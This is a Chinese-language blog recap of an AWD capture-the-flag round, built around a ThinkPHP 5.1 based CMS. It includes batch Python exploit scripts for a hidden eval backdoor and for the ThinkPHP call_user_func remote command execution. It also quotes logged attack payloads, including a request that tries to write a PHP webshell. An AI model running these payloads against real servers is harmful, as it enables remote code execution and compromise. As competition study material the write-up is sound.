第二届江西省高校网络安全技能竞赛之AWD参赛小结

2019年12月6日,第二届江西省高校网络安全技能竞赛随着致辞与颁奖的结束落下了帷幕。

此次AWD比赛感觉上偏向于Web渗透或者说是PHP代码审计,前两台服务器开放端口基本只有22、80和3306。第三台情况未知,毕竟我们队能力有限无暇顾及,想来最后应该没有一个队伍解出第三题。

而我主要负责第二题,这里就对此次参赛做个简单的总结。

环境

Linux系统基本信息如下:

$ uname -a
Linux ubuntu 5.3.0-050300rc4-lowlatency #201908111734 SMP PREEMPT Sun Aug 11 21:41:13 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

内核很新,通过linux-exploit-suggester.sh 未找到适用的exploits。

权限方面,只给了名为ctf的普通用户。网站目录所有者为root,大致进入第二轮后,所有者自动变更为ctf。权限大部分为rwxr-xr-x ,少数几个目录(runtimepublic/uploads 等)全权限。

Apache服务器使用的是www-data用户权限。网站为noneCMS,使用的是ThinkPHP V5.1.0框架编写。

可取之处

打包备份网站

这点自不用多说,备份很重要。防止改动Down机或是被人删了网站。当然这次比赛被别人删网站的可能性很低,因为网站是ctf用户的,而www-data作为其他用户只对少数几个目录有写入权限。另一方面服务器没有gcc,版本这么新的Kernel姑且也没找到适用的exploits,应该无法提权。

修改网站后台及数据库密码

修改密码很大程度上阻挡了攻击者进入网站的后台。值得一提的是,网站用户密码的加密方式没工夫探究。看起来是md5,所以备份后随意生成几个不同md5设置了。none_admin数据表存在encrypt字段,是盐还是其他什么就不得而知了。

之后改了一下数据库root用户的密码,并重新设置了网站的配置文件。不过现在想想,正确的做法应该是创建一个受限的MySQL用户,而不是直接让网站使用root用户。

D盾扫描源码

不得不说,这类扫描工具确实能有效地发现源码中存在的较为明显的安全问题。第一阶段我们就扫描出来一个位于public/install/index.php 开头几行的一句话后门,以及中后期成功利用的call_user_func 造成的命令执行漏洞。

实际上这次带去的代码审计工具还有cobra、kiwi和rips。这几个也没怎么使用就是了……

批量攻击

批量攻击脚本实际上并不是什么很了不起的手段,毕竟这次比赛找出的漏洞都比较容易利用。十多行的代码就可以批量拿flag。不过相比一个个攻击确实更加省事、省时。但裁判机没有提供批量提交的功能,提交要自己一条条复制粘贴。虽然也可以写程序自动提交,但还是不要做多余的事。

失误

  1. 没注意服务器状态,开局多次Down机扣分未察觉
  2. 变更数据库密码后,网站配置文件改错
  3. 直接删除了public/install 目录
  4. 没想到去Down别人机
  5. 没有留后门或是权限维持的意识(虽然对这次比赛没产生什么影响)

漏洞利用

一句话后门

如果使用普通文本编辑工具打开public/install/index.php ,你会在第5行看到如下代码:

eval($_POST['f']);

当你使用参数f 执行代码时你就中了出题人的诡计了。如果你和我一样平时使用vim就能看出端倪:

eval($_POST['f^_']);

虽然显示的是f^_ ,但使用光标扫过去会发现跳过了下划线。即^_ 是一个不可显示的字符,且vim中组合键<Ctrl+_> 可以输出这个字符。使用hexeditor 查看了一下,其十六进制数值是0x1F

赛后查了一下ASCII码表,它叫做单元分隔符。

编写利用代码就很简单了:

import re
import requests

P_FLAG = re.compile('key{.*?}')

for i in range(1, 11):
    if i in (6, 7):
        continue
    url = 'http://4.4.%d.101/install/index.php' % i
    try:
        resp = requests.post(url, data={
            'f\x1f': 'system("curl http://192.168.10.200/Getkey");'
        })
    except Exception as e:
        print 'Error:', e

    match = P_FLAG.search(resp.content)
    if match:
        print match.group()

这个漏洞第一轮加固期就被我修复了。然而印象中其他只有一个队修复了这个漏洞。这个漏洞一直被利用到比赛结束,再没人修复它……

call_user_func

ThinkPHP5.x本身存在远程命令执行漏洞,通过在s参数中使用反斜杠可以执行框架中某些非控制器类的方法。而这个漏洞如同打开了潘多拉魔盒。

攻击的另一个关键代码位于thinkphp/library/think/Request.php 。问题主要存在于Request 类的filterValue 方法上,该方法会使用call_user_func 函数将$filter 作为函数、$data 作为参数执行,并把返回值赋值到$value 引用上。

代码换汤不换药:

import re
import requests

URL_TEMP = (r'http://4.4.%d.101/?s=index/\think\Request/input'
    '&amp;filter=system&amp;data[]=curl%%20http://192.168.10.200/Getkey')

P_FLAG = re.compile('key{.*?}')

for i in range(1, 11):
    if i in (6, 7):
        continue
    url = URL_TEMP % i
    try:
        resp = requests.get(url)
    except Exception as e:
        print 'Error:', e

    match = P_FLAG.search(resp.content)
    if match:
        print match.group()

多亏了队友的笔记,这个漏洞中后期被我们成功利用。随后立即开始修复,最初的做法是删了这个函数调用,返回值直接空字符串代替。但被裁判机认为是服务器异常,猜测没人会构造复杂的绕过,所以直接在调用前简单过滤非法参数。

事实证明,确实没人构造绕过……我们开始利用这个漏洞后不久,我们的Apache日志里就出现了同样的攻击手法。(可能他们也是看日志学来的吧。)但他们输入的参数都被成功过滤了。

比赛结束后在runtime/log/201911/29.log 日志里发现了使用该漏洞的攻击记录,可能是对参赛者的提示吧……

Log中的的发现

除了上面提到的一个日志中记录的攻击请求,赛后在runtime/log/201911/28.log 中发现了另外两种。不过测试后发现并没有用……这里简单记录一下。

invokefunction

日志中记录下的攻击请求如下:

/?s=index/think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=whoami

实际上这个在thinkphp/library/think/App.php 中没有找到invokefunction 方法,debug信息也提示没有该方法。

缓存写入

如下是日志中摘出的攻击请求:

/?s=index/\think\template\driver\file/write?cacheFile=shell.php&amp;content=%3C?php%20phpinfo();?%3E

测试后,debug信息提示没有\think\template\driver\file 控制器。

理论上如果能成功调用thinkphp/library/think/template/driver/File.php 的`write`方法,由于程序没有对cacheFile 过滤,所以可以在特定目录写入文件。public/uploads 目录有写入权限,并且没有设置.htaccess 禁止PHP文件的执行。因而可以在此处写入webshell。

感想

这次AWD比赛实际上给我的感觉就是:大家都在菜鸡互啄……

作为从未参加过此类比赛的新手,能拿到AWD比赛得分第一,也只是找到了两个简单的漏洞且没人补漏而我们补了;再加后期总评第一名的冠军摸鱼队重置服务器扣分以及不停Down机扣分。或许最开始修改各种密码也为我们阻挡了一些攻击吧。

本人能力有限,如有谬误,劳烦指正。

相关参考

ThinkPHP 5.x远程命令执行漏洞分析与复现